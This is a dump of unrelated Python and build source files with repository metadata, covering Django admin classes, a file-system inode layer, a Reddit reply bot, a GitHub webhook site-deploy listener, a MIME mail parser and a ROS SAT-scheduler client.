tmp_commitlog=tmp_commitlog))]) node1.stop() node1.start() cursor = self.patient_cql_connection(node1).cursor() cursor.execute('SELECT count(*) from ks.cf') # Now we should have 30000 rows from the snapshot + 30000 rows # from the commitlog backups: self.assertEqual(cursor.fetchone()[0], 60000) shutil.rmtree(snapshot_dir)
UTF-8
Python
false
false
2,014
4,166,118,284,942
af1e6164f79c656c0b363acacace34fb6523dc75
1823aeec213f41b0b1a17294be9b125fbd83b81d
/woodstore/adminStore/admin.py
5698b8f8f2888f26c0739bc9d8ee83dcaa312359
[]
no_license
megajandro/woodstore
https://github.com/megajandro/woodstore
8e5fbd534a42834b791b25aaac75b60d436a5711
4262f88af8b44f9f63bffac56acbca3e9ae1bffb
refs/heads/master
2018-01-10T06:53:29.884660
2013-03-04T23:43:10
2013-03-04T23:43:10
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.contrib.admin.options import ModelAdmin class CatalogAdmin(ModelAdmin): list_display = ('name', 'displayToolTip') search_fields = ('name',) ordering = ('name',) class ClientAdmin(ModelAdmin): list_display = ( 'user','documentNumber', 'address','celularNumber') search_fields = ('documentNumber',) ordering = ('-documentNumber',) list_filter = ('user', 'documentNumber') class PhotoAdmin(ModelAdmin): list_display = ('title', 'description', 'publicationDate','endDate','image') search_fields = ('title',) ordering = ('-publicationDate',) class CategoryAdmin(ModelAdmin): list_display = ('name', 'catalog') search_fields = ('name',) ordering = ('name',) class ItemAdmin(ModelAdmin): list_display = ('code', 'category') search_fields = ('code',) ordering = ('code',) class OrderAdmin(ModelAdmin): list_display = ('code','registrationDate','cart') list_filter = ('code', 'cart') search_fields = ('code',) ordering = ('code',)
UTF-8
Python
false
false
2,013
13,692,355,780,349
fe6e99ac6f80fcc706f3e605c5b9719343559798
da1047ee87d03b3aae529a99b7c90cd6cfa03542
/fileLayer.py
4c5ef29c6afee6bb3b5f2549aece5742df637adb
[]
no_license
kitsully/PFS
https://github.com/kitsully/PFS
0897652b4ad61c5bce0d12947a351e1c0c1fd181
2eb223fdbb402ba7bda188e6ab31e0fd45e3d415
refs/heads/master
2021-01-15T22:29:28.175329
2013-02-21T16:59:18
2013-02-21T16:59:18
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Kristopher Sullivan # Operating Systems # February 13, 2013 # File Layer import blockLayer _num_blocks_in_file = 100 # the max number of blocks in a file class FileType(object): regular_file = 1 directory = 2 class INode(object): def __init__(self, inode_type=FileType.regular_file): self.blocks = _num_blocks_in_file * [-1] self.size = 0 self.inode_type = inode_type # checks for valid index of inode def valid_index(self, index): if (index >= 0 and index <= _num_blocks_in_file - 1 and self.blocks[index] != -1): return True else: raise Exception("%r at %r not a valid index" % (self.blocks[index], index)) # adds a block to an inode def add_block(self): index = self.size self.blocks[index] = blockLayer.get_free_block() self.size += 1 return self.blocks[index] def index_to_block_number(self, index): if self.valid_index(index): return self.blocks[index] else: raise Exception("Index number %s out of range." % index) def inode_to_block(self, byte_offset): o = byte_offset / blockLayer.get_block_size() b = self.index_to_block_number(o) return blockLayer.block_number_to_block(b) # if __name__ == '__main__': # print "File inode:" # inode = INode() # b = blockLayer.Block() # inode.add_block(1, 32) # print inode.index_to_block_number(1) # print inode.inode_to_block(514) # print inode.blocks # print inode.size # print inode.inode_type # print "Directory inode:" # inode = INode(inode_type=FileType.directory) # print inode.blocks # print inode.size # print inode.inode_type
UTF-8
Python
false
false
2,013
12,171,937,360,802
16cb1fe183fde1f0fd52991193078c82d20bb041
1f6af0d7f603b588e6f8136736f7e842f43d76ba
/comment_tracker.py
ac8b5ef49889ff38bad13aa1fbeb93811440fb3d
[]
no_license
LateNitePie/reddit_comment_tracker
https://github.com/LateNitePie/reddit_comment_tracker
c164d4d9b3fab1c12bf52567c172414f82e72db3
b00ae2f6b21e687c88663ffb2fdb1fd04ff08bf3
refs/heads/master
2020-02-07T04:26:56.289742
2010-08-29T03:56:06
2010-08-29T03:56:06
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import reddit import time # Just in case there are so many comments in the span between checks, we # want to set an upper bound so as not to spam Reddit's servers MAX_COMMENTS_TO_FETCH = 300 def check_for_phrase(phrase, comment): return phrase in comment.body def reply_to_comment(text, comment): return comment.reply(text) def track_comments(condition_func, action_func, login=True): r = reddit.Reddit() # not necessary if action function doesn't require login, # ie to reply if login: r.login() place_holder = None # Keep fetching new comments and checking to see if they meet the # condition. while True: comments = None # if we don't have a placeholder, just get 10 new comments, # but if we do, then get all the latest comments since then if place_holder is None: comments = r.get_comments(limit=10) else: comments = r.get_comments(place_holder=place_holder, limit=MAX_COMMENTS_TO_FETCH) print "got " + str(len(comments)) + " comments" # If we got some comments, check 'em if len(comments) > 0: # Store the newest comment as the placeholder for when # we grab the next comments. place_holder = comments[0].name # Check each comment for the condition, and take an action # if necessary. for comment in comments: if condition_func(comment): action_func(comment) print "found one" print "sleeping" # pages only really refresh every 30 secs accoridng to the api # so pointless to check faster. time.sleep(30) trigger_phrase = "trigger here" response = "response here" track_comments(lambda x, p=trigger_phrase: check_for_phrase(p, x), lambda x, t=response: reply_to_comment(t, x))
UTF-8
Python
false
false
2,010
506,806,141,284
357617f9454fb5ef12ffeb94b114b3cb6f611cfb
07b27ef3f6471f75b988d2c540dd19fe5e86efd6
/utils/github_listen.py
2629b9969b5c39e69e61b1303834d707349a29ba
[]
no_license
avudem/ultimate-sport
https://github.com/avudem/ultimate-sport
3c8110a54fd09b41c1bb401c457553e5a1769fb6
61df9581c2cad4f407d816df19a96f777e671c36
refs/heads/master
2021-01-18T07:37:42.451896
2013-04-30T14:27:47
2013-04-30T14:27:47
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from os.path import abspath, dirname import os import shlex import subprocess from flask import Flask, request app = Flask(__name__) commands = ['git stash', 'git checkout master', 'git pull origin master', 'nikola build', 'nikola deploy'] GITHUB_IPS = ['207.97.227.253', '50.57.128.197', '108.171.174.178', '50.57.231.61', '204.232.175.65-204.232.175.94', '192.30.252.1-192.30.255.254'] def ip_in_range(ip_range, ip): start, end = ip_range.split('-') process = lambda x: [int(s) for s in x.split('.')] start, end, ip = process(start), process(end), process(ip) for i in range(4): if not start[i] <= ip[i] <= end[i]: return False return True def is_github_ip(our_ip): for ip in GITHUB_IPS: if '-' in ip and ip_in_range(ip, our_ip): return True elif '-' not in ip and ip == our_ip: return True return False def publish_site(): print 'Publishing site' directory = dirname(dirname(abspath(__file__))) old_dir = os.getcwd() os.chdir(directory) for command in commands: subprocess.call(shlex.split(command)) os.chdir(old_dir) return 'Success' @app.route('/', methods=['POST']) def listen(): if is_github_ip(request.remote_addr): return publish_site() else: print 'Received request from %s. Ignored.' % request.remote_addr if __name__ == '__main__': app.run(host='0.0.0.0', port=8008)
UTF-8
Python
false
false
2,013
9,105,330,673,701
bcfefcdbc229b90fbfbbff60b656d6b89bf32e11
2c67849ba33032076202e7efddb3bdd0e15bb711
/run.py
31f79dc14c8a4383da1c48c34a486de94a15fb1b
[]
no_license
sburden/exp
https://github.com/sburden/exp
577422af75ccd333ca19d911c8fe0a127517e2db
0dcf4282428418baf49ee48cb8504dcbb2c641cd
refs/heads/master
2020-12-30T17:44:51.884943
2012-06-26T15:38:02
2012-06-26T15:38:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python import sys, time import dynaroach as dr try: infile = sys.argv[1] if len(sys.argv) > 2: dir = sys.argv[2] save = True else: save = False r = dr.DynaRoach() if save: r.run_gyro_calib() print("Running gyro calibration...") raw_input() r.get_gyro_calib_param() time.sleep(0.5) t = dr.Trial() t.load_from_file(infile) r.configure_trial(t) if save: ds = dr.datestring() t.save_to_file('./' + dir + '/' + ds + '_cfg', gyro_offsets=r.gyro_offsets, rid=eval(open('rid.py').read())) print("Press any key to begin clearing memory.") raw_input() r.erase_mem_sector(0x100) time.sleep(1) r.erase_mem_sector(0x200) time.sleep(1) r.erase_mem_sector(0x300) print("Press any key to start the trial running.") raw_input() r.run_trial() print("Press any key to request the mcu data from the robot.") raw_input() if save: r.transmit_saved_data() print("Press any key to save transmitted data to a file.") input = raw_input() if input == 'q': r.__del__() r.save_trial_data('./' + dir + '/' + ds + '_mcu.csv') except Exception as e: print('Caught the following exception: ' + e) finally: r.__del__() print('Fin')
UTF-8
Python
false
false
2,012
2,061,584,317,669
624277ddfee22c1ec0317aebab7fbdd41bc6839e
e707164df1aa8edb5d276179538bd1eb1805f759
/CODE/fedora_application/env/bin/fedmsg-hub
960bbe91f175e80d8038f45b814e0b17b68b7a60
[]
no_license
beckastar/cleaner_markov
https://github.com/beckastar/cleaner_markov
af5816c14c94a8cb7924728179470e7db9ed2bc0
a6de3fd87db77c0d80789cbce0ff409c222b4e67
refs/heads/master
2021-01-02T22:52:08.989862
2013-11-10T04:51:04
2013-11-10T04:51:04
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/Users/becka/Documents/CODE/fedora_application/env/bin/python # EASY-INSTALL-ENTRY-SCRIPT: 'fedmsg==0.7.1','console_scripts','fedmsg-hub' __requires__ = 'fedmsg==0.7.1' import sys from pkg_resources import load_entry_point sys.exit( load_entry_point('fedmsg==0.7.1', 'console_scripts', 'fedmsg-hub')() )
UTF-8
Python
false
false
2,013
9,070,970,965,138
5a15dd0e06159e8149eba60c70ed9035fb3758f5
146d79801107f127ec957b9b0e6b7b0a6e21e438
/wscript
7c82682e2e42d6dfaf207dcec2a767d0a5b344c3
[]
no_license
Applifier/node-geoip
https://github.com/Applifier/node-geoip
224eef0d83cfe63f911628589d50cfafac114c61
c7fbf1f8edf585c3ae20300f72e2056dd79d6a8d
refs/heads/master
2020-11-29T15:59:53.745907
2011-01-31T07:38:19
2011-01-31T07:38:19
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import os srcdir = os.path.abspath('.') blddir = 'build' def set_options(opt): opt.tool_options("compiler_cxx") def configure(conf): conf.env.append_unique('LINKFLAGS',["-L/opt/local/lib/"]); conf.env.append_unique('CXXFLAGS',["-I/opt/local/include/"]); conf.check_tool("compiler_cxx") conf.check_tool("node_addon") conf.check_cxx(lib='GeoIP', mandatory=True, uselib_store='GeoIP') def build(bld): obj = bld.new_task_gen("cxx", "shlib", "node_addon") obj.uselib = 'GeoIP' obj.target = "geoip" obj.source = "geoip.cc" filename = '%s.node' % obj.target from_path = os.path.join(srcdir, blddir, 'default', filename) to_path = os.path.join(srcdir, filename) if os.path.exists(from_path): os.rename(from_path, to_path)
UTF-8
Python
false
false
2,011
19,602,230,765,543
7e356b8bd849bddc0f29765b354cc0e540c80831
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_3/bgrtej001/question1.py
ebff5259926893df13b0b6fa0100d20dfb5c6e7e
[]
no_license
MrHamdulay/csc3-capstone
https://github.com/MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#Question 1, Assignment 3 #Tejasvin Bagirathi height = eval(input("Enter the height of the rectangle:\n")) length = eval(input("Enter the width of the rectangle:\n")) for i in range (0, height): print('*'*length)
UTF-8
Python
false
false
2,014
17,394,617,582,359
6767eccd9052969c71d05359f41260900b2f6d91
ebae9fe91d3fad359571e84a9413c58771729f9a
/t/test_tag.py
aa313702fa3a5204939b6de51fa128557b046683
[]
no_license
gvenkat/bottled
https://github.com/gvenkat/bottled
bb74e5223422a6053db2075d984b9b2253f16ad6
2ec38743f3102b1b96233eca8f82acc46b3b020d
refs/heads/master
2021-01-21T13:36:46.518965
2012-04-09T08:46:05
2012-04-09T08:46:05
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys import unittest from os.path import dirname sys.path.append( dirname( __file__ ) + '/../lib' ) from util import apptest from model.tag import Tag class TagTestCase( apptest.BottledTestCase ): def testBasic( self ): a = Tag( tag="ios" ) self.isNotNone( a ) self.assertEqual( "ios", a.tag ) self.assertEqual( Tag.count(), 0 ) def testCreate( self ): Tag( tag="ios" ).put() Tag( tag="perl" ).put() Tag( tag="javascript" ).put() self.assertEqual( Tag.count(), 3 ) Tag( tag="ruby" ).put() self.assertNotEqual( Tag.count(), 3 ) self.assertEqual( Tag.count(), 4 ) def testFetch( self ): Tag( tag="ruby" ).put() Tag( tag="javascript" ).put() Tag( tag="perl" ).put() self.assertEqual( Tag.count(), 3 ) self.assertEqual( len( Tag.all_tags() ), 3 )
UTF-8
Python
false
false
2,012
5,772,436,065,036
736af2ae7199ec4b157b9f498d3c64644c7d9512
d4c7ba8204faef101353a9323dcf8a25ff4ba115
/randnodes.py
957fa6daf9e868674c795a0ae1bc36376e80e2fd
[]
no_license
diivanand/mlst
https://github.com/diivanand/mlst
648d3dae00806b6e037df3aacb2c65a12f6304c9
f420bea0e2707c09ca79d94fcc695463b35d794d
refs/heads/master
2020-04-16T02:56:30.456448
2013-05-07T05:28:43
2013-05-07T05:28:43
11,171,131
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import networkx as nx from random import random def randomMap(G): """ takes the nodes in graph G and scatter the labels over 0 to 1000 """ H = nx.Graph() H.add_nodes_from(G.nodes()) H.add_edges_from(G.edges()) for n in H.nodes(): new = n + int(random()*1000) while(new in H.nodes()): new = n + int(random()*1000) H = nx.relabel_nodes(H,{n:new}) return H
UTF-8
Python
false
false
2,013
15,479,062,177,802
e1ebf5783c0d18e90b8011d62c531ba96f5900d0
dcb2f8385024c70a6824d482b6cad3cc98318acd
/dports/lang/python22/files/patch-unixccompiler.py
415ea9cfaa44cdad2f43b670d63085bcdbc35ba6
[]
no_license
davilla/xbmc-port-depends
https://github.com/davilla/xbmc-port-depends
66b7203529a460c9013fc69b95abbcc7b6c66ea0
f0534a17c49b9f1dae43fe1c1ce3ad9d1f15fc38
refs/heads/master
2021-01-20T05:07:38.927407
2010-09-28T22:10:10
2010-09-28T22:10:10
32,105,751
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
--- Lib/distutils/unixccompiler.py Sat May 24 00:34:39 2003 +++ Lib/distutils/unixccompiler.py.new Thu Jan 13 20:51:40 2005 @@ -265,14 +265,7 @@ # this time, there's no way to determine this information from # the configuration data stored in the Python installation, so # we use this hack. - compiler = os.path.basename(sysconfig.get_config_var("CC")) - if sys.platform[:6] == "darwin": - # MacOSX's linker doesn't understand the -R flag at all - return "-L" + dir - if compiler == "gcc" or compiler == "g++": - return "-Wl,-R" + dir - else: - return "-R" + dir + return "-L" + dir def library_option (self, lib): return "-l" + lib
UTF-8
Python
false
false
2,010
13,537,736,933,490
2fcc3413826911a5b9d7f892d43eb18b7318eced
91258423dd64593afb5ae46d748a221d7977cb37
/scripts/fit6_085_h9.py
c91110310ba9825892430d7cba0c0da4f4ba6de5
[]
no_license
kakabori/ripple
https://github.com/kakabori/ripple
20bc1054f835ad8b0eed2b761fb046c85784174d
cd6f0541ed799734f86171c497a59d92ce429724
refs/heads/master
2016-09-05T11:28:08.109571
2014-10-31T00:56:17
2014-10-31T00:56:17
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from ripintensity import * # read data to be fitted infilename = 'intensity/085_h9_ver4.dat' h, k, q, I, sigma, combined = read_data_5_columns(infilename) ############################################################################### # Work on M2G m2g = M2G(h, k, q, I, sigma, D=57.8, lambda_r=145.0, gamma=1.714, x0=90, A=25, f1=1.5, f2=-20, rho_H1=9.91, Z_H1=20, sigma_H1=2.94, rho_H2=7.27, Z_H2=20, sigma_H2=1.47, rho_M=10.91, sigma_M=1.83, psi=0.1, common_scale=3) #m2g.set_combined_peaks(combined) #m2g.fit_lattice() m2g.edp_par['f2'].vary = True m2g.edp_par['rho_H1'].vary = False m2g.edp_par['sigma_H1'].vary = False m2g.edp_par['rho_H2'].vary = False m2g.edp_par['sigma_H2'].vary = False m2g.edp_par['rho_M'].vary = False m2g.edp_par['sigma_M'].vary = False m2g.fit_edp() m2g.edp_par['rho_H1'].vary = True m2g.edp_par['rho_H2'].vary = True m2g.edp_par['rho_M'].vary = True m2g.fit_edp() m2g.report_edp() #m2g.export_model_F("fits/fit6_F.txt") #m2g.export_model_I("fits/fit6_I.txt") #m2g.export_2D_edp("fits/fit6_2D_edp.txt") #m2g.export_params("fits/fit6_params.txt") #m2g.export_angle("fits/fit6_1D_major.txt", center=(0,0), angle=-11.8, length=100, stepsize=0.1) #m2g.export_angle("fits/fit6_1D_minor.txt", center=(72.5,0), angle=27.1, length=100, stepsize=0.1) m2g.export_headgroup_positions("fits/fit6_headgroup.txt") m2g.export_phases("fits/fit6_phases.txt")
UTF-8
Python
false
false
2,014
12,661,563,619,956
7c1fa9422c3f1835f504a8e1e4993948c9d8130f
e250ee104f58f35463a17518a0fb352c44505e28
/src/MailParser/Mail_Parser.py
e450f2071daf5dd00e7682454dee0121cc62c948
[]
no_license
Mass90/MailServer_EF
https://github.com/Mass90/MailServer_EF
2d0bcec65c7a33026970c76b31faae0cf5c04f1c
684415c736e1a76063e790990b2ffd4217026c27
refs/heads/master
2016-09-06T11:50:35.994415
2014-05-19T01:58:28
2014-05-19T01:58:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
"""E-Mail parser for files written with MIME specs. @version: 0.1""" import re from cStringIO import StringIO class Mail: """E-Mail Abstraction to analyze and represent the information contained in a mail input file.""" mime_version = None #:MIME Version of the mail. Return None if version not found. attachments = [] #:All the contents attachments in the mail. regex_content_type = re.compile("Content-Type: ([a-zA-Z/]+);?")#:Regular expresion to search the content type in the attachment header. regex_mime_version = re.compile("MIME-Version: *([0-9]+[.0-9]*)")#:Regular expresion to search the MIME version of the mail. regex_boundary = re.compile("boundary=\"?([a-z0-9A-Z-_]+)\"?")#:Regular expresion to search the boundaries in the attachment header. regex_boundary_end = re.compile("(--[-_]*[a-z0-9A-Z]+[a-z0-9A-Z-_]+--)")#:Regular expresion to know if a boundary is of type end. regex_boundary_begin = re.compile("(--[-_]*[a-z0-9A-Z]+[a-z0-9A-Z-_]+)")#:Regular expresion to know if a boundary is of type begin. regex_charset = re.compile("charset=\"?([a-zA-Z-0-9]+)\"?[;]?")#:Regular expresion to search the charset in the attachment header. regex_filename = re.compile("filename=\"([a-zA-Z-_.0-9 ]+)\"[;]?")#:Regular expresion to search the filename in the attachment header. regex_name = re.compile("name=\"?([a-zA-Z-_.0-9 ]+)\"?[;]?")#:Regular expresion to search the name in the attachment header. regex_encoding = re.compile("Content-Transfer-Encoding: ([a-zA-Z/0-9-_]+[;]*);?")#:Regular expresion to search the encoding in the attachment header. class Attachment: """Content abstraction that represent the content and data of a mail attachment.""" content_type = None#:Respresent the value of Content-Type. charset = None#:Respresent the value of charset. name = None#:Respresent the value of name. file_name = None#:Respresent the value of filename. content_transfer_encoding = None#:Respresent the value of Content-Transfer-Encoding. content_disposition = None#:Respresent the value of Content-Disposition. content = None#:Content of the attachment. def __init__ (self, mail_data): """Constructor that analyzes email content and renders it in the Mail object. @param mail_data: Mail to parse @type mail_data: str or file""" EOF = None mail_line = None mail_size = None input_type = type(mail_data) if input_type is str: mail_data = StringIO(mail_data) EOF = lambda: True if mail_line == "" else False elif input_type is file: import os mail_size = os.path.getsize (mail_data.name) EOF = lambda: True if mail_data.tell() >= mail_size else False else: raise "Error: Wrong input type" last_boundary_type = "none" while not EOF(): mail_line = mail_data.readline() if self.mime_version is None: self.mime_version = self.get_info(self.regex_mime_version, mail_line) if last_boundary_type == "begin": while mail_line != "\n" and not EOF(): content_type = self.get_info(self.regex_content_type, mail_line) if content_type == "multipart/alternative" or content_type == "multipart/mixed": break attachment = self.Attachment() attachment.content = StringIO() attachment_parsed = False while not attachment_parsed: if attachment.charset is None: attachment.charset = self.get_info(self.regex_charset, mail_line) if attachment.file_name is None: attachment.file_name = self.get_info(self.regex_filename, mail_line) if attachment.name is None: attachment.name = self.get_info(self.regex_name, mail_line) if attachment.content_transfer_encoding is None: attachment.content_transfer_encoding = self.get_info(self.regex_encoding, mail_line) if mail_line == "\n": last_boundary_type = "none" while last_boundary_type == "none": mail_line = mail_data.readline() last_boundary_type = self.get_boundary_type(mail_line) if last_boundary_type == "none": attachment.content.write(mail_line) attachment_parsed = True self.attachments.append(attachment) if not attachment_parsed: mail_line = mail_data.readline() mail_line = mail_data.readline() last_boundary_type = self.get_boundary_type(mail_line) mail_data.close() @staticmethod def get_info(regex, mail_line): """Get the info returned in a regular expresion search. @param regex: Regular expresion compile @type regex: re @param mail_line: mail_line to analize to search the info @type mail_line: str""" info = regex.search(mail_line) return info.groups()[0] if info != None else None @classmethod def get_boundary_type(self, data): """Analize a boundarie and return the its type. @param data: Regular expresion compile @type data: re""" boundary = self.regex_boundary_end.search(data) if boundary != None: return "end" boundary = self.regex_boundary_begin.search(data) if boundary != None: return "begin" return "none" if __name__ == "__main__": import sys if len(sys.argv) != 2: print "Arguments invalid:\nExpected: python Mail_Server.py [File path]" else: mail = open(sys.argv[1], "r") mail_data = mail.read() print "Mail to parse: ", mail.name print "Size: ", len(mail_data) mail_info = Mail(mail_data) print "Mail info" print "Mime version: ", mail_info.mime_version print "\n" for attach in mail_info.attachments: print "File name: ", attach.file_name print "Name: ", attach.name print "Charset: ", attach.charset print "Encode name: ", attach.content_transfer_encoding print "Content: ", len(attach.content.getvalue()) print "\n" if not (attach.file_name is None): f = open(attach.file_name, 'w') f.write(attach.content.getvalue().decode('base64','strict')) if not (attach.name is None): f = open(attach.name, 'w') f.write(attach.content.getvalue().decode('base64','strict'))
UTF-8
Python
false
false
2,014
5,952,824,675,768
ff4285fee30453f91bd1733b7f12488a4cc8de80
5225ccc7c39baceab5ac78942610ee38dedebd21
/webapp/import_paragraphs.py
7fa2c8f93c25126b83091f0135b2883dac625c11
[]
no_license
Horrendus/aic13
https://github.com/Horrendus/aic13
b1e758a27c88739f1b401fcd1a0c9341a72fab2e
661a1da06166d1d2190e242d644148d6bb8d1c85
refs/heads/master
2020-03-01T00:32:20.840406
2014-01-31T09:15:39
2014-01-31T09:15:39
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from REST.models import Paragraph import json import sys file = open("exported_paragraphs.txt","r") data = file.read() file.close() data = json.loads(data,"ascii") paragraphs = 0 counter = 0 print("Importing paragraphs...") for x in data: counter += 1 if len(Paragraph.objects.filter(text = x['text'])) == 0: Paragraph.objects.create(yahoo_id=x['yahoo_id'], text=x['text'], pub_date = x['pub_date']).save() paragraphs += 1 sys.stdout.write("\r%.2f%%" % (100*float(counter)/float(len(data)))) sys.stdout.flush() print("Imported %d paragraphs" % paragraphs) print("Paragraphs in db: %d" % Paragraph.objects.count())
UTF-8
Python
false
false
2,014
16,612,933,526,096
beccffbafed264d0c2e8abaa0cdebc272103ff09
15b2f2ed350644c64be3e35200c7288ff3ac5636
/src/SATModelerAPISara.py
faa0d1b48e622d7a424591043aa464e5bd484661
[]
no_license
SkylerPeterson/ROS-SAT-Schedule-Solver
https://github.com/SkylerPeterson/ROS-SAT-Schedule-Solver
eda79164dcfbde2b49176f9fc1c52ea7efd188d0
1bb14358dd1fd6d44ca63bb8950a5d96dd828703
refs/heads/master
2016-09-08T02:40:55.679588
2014-12-09T00:05:09
2014-12-09T00:05:09
26,577,751
1
1
null
false
2014-12-05T19:05:12
2014-11-13T08:13:51
2014-12-05T19:05:12
2014-12-05T19:05:11
292
0
0
0
Python
null
null
#!/usr/bin/env python import roslib roslib.load_manifest('rospy') import rospy import rospkg from sat_schedule_solver.srv import ( SAT_Scheduler, SAT_SchedulerRequest, ScheduleAllQueryJobs, ScheduleAllQueryJobsResponse ) from sat_schedule_solver.msg import ( datetimemsg ) from SATModeler import readDatetimeMsg from sara_queryjob_manager.msg import ( QueryJobStatus, QueryJobUpdate ) from datetime import datetime from time import time, mktime from pytz import utc from pymongo import MongoClient import csv import sys RECEIVED = QueryJobStatus.RECEIVED SCHEDULED = QueryJobStatus.SCHEDULED RUNNING = QueryJobStatus.RUNNING SUCCEEDED = QueryJobStatus.SUCCEEDED CANCELLED = QueryJobStatus.CANCELLED FAILED = QueryJobStatus.FAILED ABORTED = QueryJobStatus.ABORTED class SATModelerAPISara(): def __init__(self): rospy.init_node('SATModelerAPISara', anonymous=True) # Connect to DB. dbname = rospy.get_param("~dbname", "sara_uw_website") collname = rospy.get_param("~collname", "queryjobs") connection = MongoClient() self._collection = connection[dbname][collname] # Setup services and messages rospy.wait_for_service('/SAT_Scheduler') self.SAT_Scheduler_Service = rospy.ServiceProxy('/SAT_Scheduler', SAT_Scheduler) srvModeler = rospy.Service('/sat_scheduler_API', ScheduleAllQueryJobs, self.handleDBJobUpdateRequest) self._pub = rospy.Publisher('/queryjob_update', QueryJobUpdate, queue_size=10000) # Initialize variables self.sequence = 0 print "SATModelerAPISara is running" rospy.spin() def handleDBJobUpdateRequest(self, req): resp = ScheduleAllQueryJobsResponse() resp.header = req.header try: jobList = self.getAllJobsFromDB() acceptedJobs, cancelledJobs = self.scheduleJobs(jobList) self.publishUpdates(acceptedJobs, cancelledJobs) resp.success = True except: rospy.logerr("Error while scheduling results:", sys.exc_info()[0]) resp.success = False return resp def publishUpdates(self, acceptedJobList, cancelledJobList): order = 1 # order starts from 1 for q in acceptedJobList: queryjob_id = q["_id"] query = {"_id": queryjob_id} if self._collection.find(query): update = {"$set": { "order": order, "status": SCHEDULED }} if not self._collection.find_and_modify(query, update): rospy.logerr("Error while writing schedule results!") rospy.signal_shutdown("Bye!") else: rospy.logerr("Error while writing schedule results!") rospy.signal_shutdown("Bye!") # Notify updates. msg = QueryJobUpdate() msg.queryjob_id = str(queryjob_id) msg.field_names = ["order", "status"] self._pub.publish(msg) order += 1 for q in cancelledJobList: queryjob_id = q["_id"] query = {"_id": queryjob_id} update = {"$set": { "order": -1, "status": CANCELLED }} if not self._collection.find_and_modify(query, update): rospy.logerr("Error while writing schedule results!") rospy.signal_shutdown("Bye!") # Notify updates. msg = QueryJobUpdate() msg.queryjob_id = str(queryjob_id) msg.field_names = ["order", "status"] self._pub.publish(msg) def scheduleJobs(self, rawJobList): count = 0 outMsg = SAT_SchedulerRequest() outMsg.header.seq = self.sequence outMsg.header.stamp = rospy.Time.now() outMsg.header.frame_id = "/SAT/Scheduler/Input" self.sequence += 1 jobIDsList = [] startTimesList = [] endTimesList = [] prioritiesList = [] locationsList = [] taskIDList = [] newJobList = [] for job in rawJobList: jobIDsList.append(str(job['_id'])) startTimesList.append(generateDatetimeMsg(job['timeissued'])) endTimesList.append(generateDatetimeMsg(job['deadline'])) prioritiesList.append(job['priority']) locationsList.append(job['location']) taskIDList.append(job['taskId']) newJobList.append(job) count += 1 outMsg.numConstraints = count outMsg.jobID = jobIDsList outMsg.startTimes = startTimesList outMsg.endTimes = endTimesList outMsg.priority = prioritiesList outMsg.location = locationsList outMsg.taskId = taskIDList try: resp = self.SAT_Scheduler_Service(outMsg) except rospy.ServiceException, e: print "Service call failed: %s"%e acceptedJobList = [] cancelledJobList = [] for i in range(0, resp.numJobsAccepted): if (resp.acceptedJobID[i].split(':')[0] == 'wait'): self._collection.insert({"endtime": readDatetimeMsg(resp.jobEndTime[i]), "taskId": resp.acceptedJobID[i]}) acceptedJobList.append(self._collection.find({"taskId": resp.acceptedJobID[i]})[0]) continue found = False for job in newJobList: if (resp.acceptedJobID[i] == str(job['_id'])): acceptedJobList.append(job) found = True break if not found: cancelledJobList.append(job) return acceptedJobList, cancelledJobList def getAllJobsFromDB(self): # Set current running job to scheduled (let be rescheduled) self._collection.find_and_modify( {"status": RUNNING}, {"$set": {"status": RECEIVED, "timecompleted": datetime.utcnow().replace(tzinfo=utc)}} ) # Get all recieved, scheduled, and aborted tasks query = {"$or": [{"status": RECEIVED}, {"status": SCHEDULED}, {"status": ABORTED}]} qr = self._collection.find(query) return qr def confirmResult(self, resp): print resp def generateDatetimeMsg(dt): """ Returns a message from the datetime given. """ dtMsg = datetimemsg() dtMsg.year = dt.year dtMsg.month = dt.month dtMsg.day = dt.day dtMsg.hour = dt.hour dtMsg.minute = dt.minute dtMsg.second = dt.second dtMsg.microsecond = dt.microsecond return dtMsg if __name__ == '__main__': rospack = rospkg.RosPack() apiDriver = SATModelerAPISara()
UTF-8
Python
false
false
2,014
10,110,353,044,069
862ef82e01dc7d14b1174856d323465d74e9de70
d0397d5d8a7a8b6ee9e03a874b4be09c9cee056f
/EXERCISES/Flopy/workdir/Ex1.py
ab30e4931b645893f103423c1f901ebee1ecd887
[]
no_license
jdhughes/PyClassMat
https://github.com/jdhughes/PyClassMat
971df3b46cee45426f09047347e67e0bbf0e203f
7b9a912d3cac0385a7cb56479141b781d1dc67da
refs/heads/master
2021-01-21T09:55:50.333820
2012-08-09T17:08:26
2012-08-09T17:08:26
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
